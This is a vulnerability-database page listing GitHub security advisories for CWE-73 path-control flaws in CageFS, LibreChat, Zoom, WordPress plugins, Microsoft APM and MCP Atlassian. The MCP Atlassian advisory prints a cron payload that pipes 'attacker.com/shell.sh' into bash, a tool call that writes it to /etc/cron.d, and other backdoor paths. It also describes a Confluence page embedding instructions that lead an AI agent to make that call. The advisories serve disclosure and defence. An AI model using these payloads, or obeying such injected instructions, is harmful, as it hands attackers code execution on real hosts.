Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

The product allows user input to control or influence paths or file names that are used in filesystem operations.

996 vulnerabilities reference this CWE, most recent first.

GHSA-XCJC-C88C-V52W

Vulnerability from github – Published: 2024-01-22 15:30 – Updated: 2025-05-30 15:30
VLAI
Details

CloudLinux CageFS 7.0.8-2 or below insufficiently restricts file paths supplied to the sendmail proxy command. This allows local users to read and write arbitrary files outside the CageFS environment in a limited way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-36772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-22T15:15:07Z",
    "severity": "MODERATE"
  },
  "details": "CloudLinux\n CageFS 7.0.8-2 or below insufficiently restricts file paths supplied to\n the sendmail proxy command. This allows local users to read and write \narbitrary files outside the CageFS environment in a limited way.",
  "id": "GHSA-xcjc-c88c-v52w",
  "modified": "2025-05-30T15:30:22Z",
  "published": "2024-01-22T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36772"
    },
    {
      "type": "WEB",
      "url": "https://blog.cloudlinux.com/lve-manager-lve-stats-lve-utils-and-alt-python27-cllib-have-been-rolled-out-to-100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-02_CloudLinux_CageFS_Insufficiently_Restricted_Proxy_Commands"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176791/CloudLinux-CageFS-7.0.8-2-Insufficiently-Restricted-Proxy-Command.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jan/25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XCP6-JV5M-JWRM

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

An arbitrary file deletion vulnerability exists in danny-avila/librechat version v0.7.5-rc2, specifically within the /api/files endpoint. This vulnerability arises from improper input validation, allowing path traversal techniques to delete arbitrary files on the server. Attackers can exploit this to bypass security mechanisms and delete files outside the intended directory, including critical system files, user data, or application resources. This vulnerability impacts the integrity and availability of the system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:16Z",
    "severity": "HIGH"
  },
  "details": "An arbitrary file deletion vulnerability exists in danny-avila/librechat version v0.7.5-rc2, specifically within the /api/files endpoint. This vulnerability arises from improper input validation, allowing path traversal techniques to delete arbitrary files on the server. Attackers can exploit this to bypass security mechanisms and delete files outside the intended directory, including critical system files, user data, or application resources. This vulnerability impacts the integrity and availability of the system.",
  "id": "GHSA-xcp6-jv5m-jwrm",
  "modified": "2025-03-20T12:32:39Z",
  "published": "2025-03-20T12:32:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danny-avila/librechat/commit/0b744db1e2af31a531ffb761584d85540430639c"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/e811f7f7-9556-4564-82e2-5b3d17599b2d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XG43-QR5W-Q4JR

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-13 21:32
VLAI
Details

External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-30905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T19:17:05Z",
    "severity": "HIGH"
  },
  "details": "External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation of privilege via local access.",
  "id": "GHSA-xg43-qr5w-q4jr",
  "modified": "2026-05-13T21:32:05Z",
  "published": "2026-05-13T21:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30905"
    },
    {
      "type": "WEB",
      "url": "https://www.zoom.com/en/trust/security-bulletin/zsb-26007"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XG4X-W83H-XXJ6

Vulnerability from github – Published: 2025-11-21 09:30 – Updated: 2026-04-08 18:33
VLAI
Details

The 简数采集器 plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 2.6.3 via the __kds_flag functionality that imports featured images. This makes it possible for authenticated attackers, with Adminstrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11973"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-21T09:15:46Z",
    "severity": "MODERATE"
  },
  "details": "The \u7b80\u6570\u91c7\u96c6\u5668 plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 2.6.3 via the __kds_flag functionality that imports featured images. This makes it possible for authenticated attackers, with Adminstrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
  "id": "GHSA-xg4x-w83h-xxj6",
  "modified": "2026-04-08T18:33:58Z",
  "published": "2025-11-21T09:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11973"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gallery-photo-gallery/trunk/includes/lists/class-gallery-photo-gallery-list-table.php#L1060"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/keydatas"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/66dc2ca2-c61c-4c73-aa2a-0017299cbca5?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XGJM-W63F-4HQQ

Vulnerability from github – Published: 2024-03-12 18:31 – Updated: 2024-03-12 18:31
VLAI
Details

Windows Compressed Folder Tampering Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-26185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-12T17:15:57Z",
    "severity": "MODERATE"
  },
  "details": "Windows Compressed Folder Tampering Vulnerability",
  "id": "GHSA-xgjm-w63f-4hqq",
  "modified": "2024-03-12T18:31:14Z",
  "published": "2024-03-12T18:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26185"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26185"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XGPP-V9MR-6FG2

Vulnerability from github – Published: 2026-07-01 06:31 – Updated: 2026-07-01 06:31
VLAI
Details

The WP-BusinessDirectory plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Deletion in versions up to and including 4.0.1. This is due to insufficient path validation in the remove() method of the JBusinessDirectoryControllerUpload class. The task=upload.remove endpoint is accessible without authentication via the plugin's frontend routing system. The _filename parameter is accepted with RAW filter (no sanitization), and the helper function makePathFile() only normalizes directory separator characters without stripping path traversal sequences (../). When combined with the _path_type=2 parameter, which sets the base directory to the plugin's site folder, an attacker can supply a _filename value containing ../ sequences to traverse outside the plugin directory and call PHP's unlink() on arbitrary files — including wp-config.php, wp-config-backup.php, or other critical server files accessible to the web server process. This makes it possible for unauthenticated attackers to delete arbitrary files on the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T05:16:23Z",
    "severity": "CRITICAL"
  },
  "details": "The WP-BusinessDirectory plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Deletion in versions up to and including 4.0.1. This is due to insufficient path validation in the remove() method of the JBusinessDirectoryControllerUpload class. The task=upload.remove endpoint is accessible without authentication via the plugin\u0027s frontend routing system. The _filename parameter is accepted with RAW filter (no sanitization), and the helper function makePathFile() only normalizes directory separator characters without stripping path traversal sequences (../). When combined with the _path_type=2 parameter, which sets the base directory to the plugin\u0027s site folder, an attacker can supply a _filename value containing ../ sequences to traverse outside the plugin directory and call PHP\u0027s unlink() on arbitrary files \u2014 including wp-config.php, wp-config-backup.php, or other critical server files accessible to the web server process. This makes it possible for unauthenticated attackers to delete arbitrary files on the server.",
  "id": "GHSA-xgpp-v9mr-6fg2",
  "modified": "2026-07-01T06:31:34Z",
  "published": "2026-07-01T06:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6070"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-businessdirectory/tags/4.0.0/site/controllers/upload.php#L127"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-businessdirectory/tags/4.0.0/site/controllers/upload.php#L450"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-businessdirectory/trunk/site/controllers/upload.php#L127"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-businessdirectory/trunk/site/controllers/upload.php#L450"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d7d68f43-2a57-4352-8aae-0657b386ac7c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHGX-4832-CRRX

Vulnerability from github – Published: 2026-06-03 15:30 – Updated: 2026-06-03 15:30
VLAI
Details

The bac-scanresult method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-35076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T13:16:19Z",
    "severity": "HIGH"
  },
  "details": "The bac-scanresult method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.",
  "id": "GHSA-xhgx-4832-crrx",
  "modified": "2026-06-03T15:30:41Z",
  "published": "2026-06-03T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35076"
    },
    {
      "type": "WEB",
      "url": "https://www.certvde.com/en/advisories/VDE-2026-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XHRW-5QXX-JPWR

Vulnerability from github – Published: 2026-05-07 21:41 – Updated: 2026-05-15 23:51
VLAI
Summary
Microsoft APM CLI's plugin.json component paths escape plugin root and copy arbitrary host files during install
Details

Summary

Microsoft APM normalizes marketplace plugins by copying plugin components referenced in plugin.json into .apm/. The manifest fields agents, skills, commands, and hooks are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or ../ traversal paths to copy arbitrary readable host files or directories from the installer's machine during apm install.

In the verified primary proof of concept, a malicious plugin sets plugin.json.commands to an external markdown file. A single apm install copies that outside file into .apm/prompts/ and then auto-integrates it into .github/prompts/secret.prompt.md in the victim project. This is a local supply-chain trust-boundary violation with direct confidentiality and integrity impact.

Reviewed version and commit:

  • apm-cli version 0.8.11
  • main commit 70b34faa16a5a783424698163deeb028854fd23a

Details

Root cause:

  • src/apm_cli/deps/plugin_parser.py:336-348
  • _resolve_sources() joins manifest-controlled agents, skills, commands, and directory-form hooks paths with plugin_path
  • it checks only exists() and is_symlink()
  • it does not resolve the candidate and verify containment inside the plugin root
  • src/apm_cli/deps/plugin_parser.py:356-395
  • copies attacker-selected agent and skill files/directories into .apm/
  • src/apm_cli/deps/plugin_parser.py:397-452
  • copies attacker-selected command and hook files/directories into .apm/
  • src/apm_cli/deps/plugin_parser.py:436-442
  • string-form hook config paths are also copied without a root-containment check

There is already a safer precedent in the same module:

  • src/apm_cli/deps/plugin_parser.py:195-210
  • _read_mcp_file() resolves the candidate path
  • rejects paths escaping the plugin root
  • rejects symlinks

Reachability:

  • Local install path:
  • src/apm_cli/commands/install.py:2007-2015
  • local marketplace plugins are normalized through normalize_plugin_directory(...)
  • Remote install path:
  • src/apm_cli/deps/github_downloader.py:2224-2230
  • downloaded packages are validated through validate_apm_package(target_path)
  • src/apm_cli/models/validation.py:164-172, 224-226, 304-324
  • marketplace plugins are normalized through the same vulnerable path after clone

Project write-back path:

  • src/apm_cli/integration/prompt_integrator.py:38-56
  • reads .apm/prompts/*.prompt.md
  • src/apm_cli/integration/prompt_integrator.py:170-189
  • writes prompt files into .github/prompts/
  • src/apm_cli/commands/install.py:2496-2514
  • auto-integrates package primitives after install

This means a malicious dependency can cause APM to read from outside the dependency itself and materialize host-local content into managed install output and, in the verified prompt case, directly into the victim project.

PoC

The attached zip contains a complete maintainer-ready proof-of-concept package, including runnable scripts, payload templates, captured output, and the exact validation environment.

Primary end-to-end apm install reproduction:

  1. Install APM from the reviewed source tree (apm-cli 0.8.11, commit 70b34faa16a5a783424698163deeb028854fd23a) into a Python environment.
  2. Create an external file outside the malicious plugin directory, for example:
victim\secret.md

with content:

# STOLEN VIA APM INSTALL
  1. Create a malicious plugin with this minimal plugin.json:
{
  "name": "evil-plugin",
  "commands": "D:\\absolute\\path\\to\\victim\\secret.md"
}
  1. Create a minimal apm.yml that references the malicious plugin.
  2. Run:
apm install
  1. Observe that APM completes successfully and writes:
.github/prompts/secret.prompt.md
  1. Observe that the resulting prompt file contains the external host file content:
# STOLEN VIA APM INSTALL

Verified console output from the included PoC:

[>] Installing dependencies from apm.yml...
  [+] ./evil-plugin (local)
  |-- 1 prompts integrated -> .github/prompts/

[*] Installed 1 APM dependency.
PoC succeeded.
Integrated into project: ...\.github\prompts\secret.prompt.md
Integrated content:
# STOLEN VIA APM INSTALL

Secondary remote-parity reproduction:

  • The attached reproduce-remote-parity.py exercises GitHubPackageDownloader.download_package(...) after clone by replacing only the clone callback to keep the test self-contained.
  • It confirms the same unsafe normalization path copies an outside host file into:
<download-target>/.apm/prompts/secret.prompt.md

Impact

This is a path traversal / arbitrary local file copy issue in the package install flow.

Who is impacted:

  • any user who runs apm install against a malicious or compromised plugin dependency
  • both direct and transitive dependency consumers

What an attacker gains:

  • ability to copy arbitrary readable host files into .apm/ during install
  • ability to copy arbitrary readable host directories recursively into .apm/
  • ability to trigger project write-back when the copied content lands in supported primitive locations such as .apm/prompts/

Practical impact:

  • local notes, markdown, source material, or configuration files can be staged into repository-controlled paths
  • copied prompt files are automatically written into .github/prompts/, increasing the chance that sensitive or attacker-selected content is committed, synced, or consumed by other tooling
  • the issue breaks the expected trust boundary that a dependency install should copy only content belonging to the dependency itself

Mitigation

Recommended fix:

  1. Resolve every manifest-controlled component path against plugin_path.resolve().
  2. Reject absolute or relative paths that escape the plugin root.
  3. Apply the same containment check to agents, skills, commands, and both hooks code paths.
  4. Reject symlinks before copying.
  5. Add regression tests for:
  6. absolute file path in commands
  7. absolute directory path in commands
  8. ../ traversal in agents
  9. ../ traversal in skills
  10. ../ traversal in hooks
  11. confirmation that only in-root files remain accepted

Attachment

Microsoft_APM_Plugin_Path_Escape_Report_Final.zip

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.11"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "apm-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:41:08Z",
    "nvd_published_at": "2026-05-15T17:16:47Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMicrosoft APM normalizes marketplace plugins by copying plugin components referenced in `plugin.json` into `.apm/`. The manifest fields `agents`, `skills`, `commands`, and `hooks` are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or `../` traversal paths to copy arbitrary readable host files or directories from the installer\u0027s machine during `apm install`.\n\nIn the verified primary proof of concept, a malicious plugin sets `plugin.json.commands` to an external markdown file. A single `apm install` copies that outside file into `.apm/prompts/` and then auto-integrates it into `.github/prompts/secret.prompt.md` in the victim project. This is a local supply-chain trust-boundary violation with direct confidentiality and integrity impact.\n\nReviewed version and commit:\n\n- `apm-cli` version `0.8.11`\n- `main` commit `70b34faa16a5a783424698163deeb028854fd23a`\n\n### Details\nRoot cause:\n\n- `src/apm_cli/deps/plugin_parser.py:336-348`\n  - `_resolve_sources()` joins manifest-controlled `agents`, `skills`, `commands`, and directory-form `hooks` paths with `plugin_path`\n  - it checks only `exists()` and `is_symlink()`\n  - it does not resolve the candidate and verify containment inside the plugin root\n- `src/apm_cli/deps/plugin_parser.py:356-395`\n  - copies attacker-selected agent and skill files/directories into `.apm/`\n- `src/apm_cli/deps/plugin_parser.py:397-452`\n  - copies attacker-selected command and hook files/directories into `.apm/`\n- `src/apm_cli/deps/plugin_parser.py:436-442`\n  - string-form hook config paths are also copied without a root-containment check\n\nThere is already a safer precedent in the same module:\n\n- `src/apm_cli/deps/plugin_parser.py:195-210`\n  - `_read_mcp_file()` resolves the candidate path\n  - rejects paths escaping the plugin root\n  - rejects symlinks\n\nReachability:\n\n- Local install path:\n  - `src/apm_cli/commands/install.py:2007-2015`\n  - local marketplace plugins are normalized through `normalize_plugin_directory(...)`\n- Remote install path:\n  - `src/apm_cli/deps/github_downloader.py:2224-2230`\n  - downloaded packages are validated through `validate_apm_package(target_path)`\n  - `src/apm_cli/models/validation.py:164-172`, `224-226`, `304-324`\n  - marketplace plugins are normalized through the same vulnerable path after clone\n\nProject write-back path:\n\n- `src/apm_cli/integration/prompt_integrator.py:38-56`\n  - reads `.apm/prompts/*.prompt.md`\n- `src/apm_cli/integration/prompt_integrator.py:170-189`\n  - writes prompt files into `.github/prompts/`\n- `src/apm_cli/commands/install.py:2496-2514`\n  - auto-integrates package primitives after install\n\nThis means a malicious dependency can cause APM to read from outside the dependency itself and materialize host-local content into managed install output and, in the verified prompt case, directly into the victim project.\n\n### PoC\nThe attached zip contains a complete maintainer-ready proof-of-concept package, including runnable scripts, payload templates, captured output, and the exact validation environment.\n\nPrimary end-to-end `apm install` reproduction:\n\n1. Install APM from the reviewed source tree (`apm-cli 0.8.11`, commit `70b34faa16a5a783424698163deeb028854fd23a`) into a Python environment.\n2. Create an external file outside the malicious plugin directory, for example:\n\n```text\nvictim\\secret.md\n```\n\nwith content:\n\n```md\n# STOLEN VIA APM INSTALL\n```\n\n3. Create a malicious plugin with this minimal `plugin.json`:\n\n```json\n{\n  \"name\": \"evil-plugin\",\n  \"commands\": \"D:\\\\absolute\\\\path\\\\to\\\\victim\\\\secret.md\"\n}\n```\n\n4. Create a minimal `apm.yml` that references the malicious plugin.\n5. Run:\n\n```powershell\napm install\n```\n\n6. Observe that APM completes successfully and writes:\n\n```text\n.github/prompts/secret.prompt.md\n```\n\n7. Observe that the resulting prompt file contains the external host file content:\n\n```md\n# STOLEN VIA APM INSTALL\n```\n\nVerified console output from the included PoC:\n\n```text\n[\u003e] Installing dependencies from apm.yml...\n  [+] ./evil-plugin (local)\n  |-- 1 prompts integrated -\u003e .github/prompts/\n\n[*] Installed 1 APM dependency.\nPoC succeeded.\nIntegrated into project: ...\\.github\\prompts\\secret.prompt.md\nIntegrated content:\n# STOLEN VIA APM INSTALL\n```\n\nSecondary remote-parity reproduction:\n\n- The attached `reproduce-remote-parity.py` exercises `GitHubPackageDownloader.download_package(...)` after clone by replacing only the clone callback to keep the test self-contained.\n- It confirms the same unsafe normalization path copies an outside host file into:\n\n```text\n\u003cdownload-target\u003e/.apm/prompts/secret.prompt.md\n```\n\n### Impact\nThis is a path traversal / arbitrary local file copy issue in the package install flow.\n\nWho is impacted:\n\n- any user who runs `apm install` against a malicious or compromised plugin dependency\n- both direct and transitive dependency consumers\n\nWhat an attacker gains:\n\n- ability to copy arbitrary readable host files into `.apm/` during install\n- ability to copy arbitrary readable host directories recursively into `.apm/`\n- ability to trigger project write-back when the copied content lands in supported primitive locations such as `.apm/prompts/`\n\nPractical impact:\n\n- local notes, markdown, source material, or configuration files can be staged into repository-controlled paths\n- copied prompt files are automatically written into `.github/prompts/`, increasing the chance that sensitive or attacker-selected content is committed, synced, or consumed by other tooling\n- the issue breaks the expected trust boundary that a dependency install should copy only content belonging to the dependency itself\n\n### Mitigation\nRecommended fix:\n\n1. Resolve every manifest-controlled component path against `plugin_path.resolve()`.\n2. Reject absolute or relative paths that escape the plugin root.\n3. Apply the same containment check to `agents`, `skills`, `commands`, and both `hooks` code paths.\n4. Reject symlinks before copying.\n5. Add regression tests for:\n   - absolute file path in `commands`\n   - absolute directory path in `commands`\n   - `../` traversal in `agents`\n   - `../` traversal in `skills`\n   - `../` traversal in `hooks`\n   - confirmation that only in-root files remain accepted\n\n### Attachment\n[Microsoft_APM_Plugin_Path_Escape_Report_Final.zip](https://github.com/user-attachments/files/26829524/Microsoft_APM_Plugin_Path_Escape_Report_Final.zip)",
  "id": "GHSA-xhrw-5qxx-jpwr",
  "modified": "2026-05-15T23:51:29Z",
  "published": "2026-05-07T21:41:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/security/advisories/GHSA-xhrw-5qxx-jpwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44641"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/apm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft APM CLI\u0027s plugin.json component paths escape plugin root and copy arbitrary host files during install"
}

GHSA-XJGW-4WVW-RGM4

Vulnerability from github – Published: 2026-03-10 18:56 – Updated: 2026-03-10 18:56
VLAI
Summary
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
Details

Summary

The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).

Details

The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:

```python download_path: Annotated[ str, Field( description=( "Full path where the file should be saved. Can be absolute or relative. " "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\temp\\file.docx'. " "Parent directory will be created if it doesn't exist." ) ), ],

The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

if not os.path.isabs(target_path): target_path = os.path.abspath(target_path) # normalizes path, no restriction

os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory with open(target_path, "wb") as f: # writes to any writable path for chunk in response.iter_content(chunk_size=8192): f.write(chunk)

os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).

PoC

Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.

Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

          • root curl http://attacker.com/shell.sh | bash

Step 2 — Call the tool with a sensitive write target:

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "", "attachment_id": "", "download_path": "/etc/cron.d/mcp-backdoor" } }, "id": 1 }

The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.

Alternative potential write targets demonstrating broader impact: - /home//.ssh/authorized_keys - persistent SSH backdoor - /lib/python3.x/site-packages/.py - code execution on next import - ~/.bashrc - code execution on next user login

Impact

An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.

In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.

Example potential RCE paths: 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart. 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access. 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:56:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n  ```python\n  download_path: Annotated[\n      str,\n      Field(\n          description=(\n              \"Full path where the file should be saved. Can be absolute or relative. \"\n              \"Examples: \u0027./downloads/report.pdf\u0027, \u0027/tmp/image.png\u0027, \u0027C:\\\\\\\\temp\\\\\\\\file.docx\u0027. \"\n              \"Parent directory will be created if it doesn\u0027t exist.\"\n          )\n      ),\n  ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183\u2013200:\n\n  if not os.path.isabs(target_path):\n      target_path = os.path.abspath(target_path)  # normalizes path, no restriction\n\n  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory\n  with open(target_path, \"wb\") as f:                        # writes to any writable path\n      for chunk in response.iter_content(chunk_size=8192):\n          f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 \u2014 Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n  * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 \u2014 Call the tool with a sensitive write target:\n\n  {\n      \"jsonrpc\": \"2.0\",\n      \"method\": \"tools/call\",\n      \"params\": {\n          \"name\": \"confluence_download_attachment\",\n          \"arguments\": {\n              \"page_id\": \"\u003cpage id hosting the malicious attachment\u003e\",\n              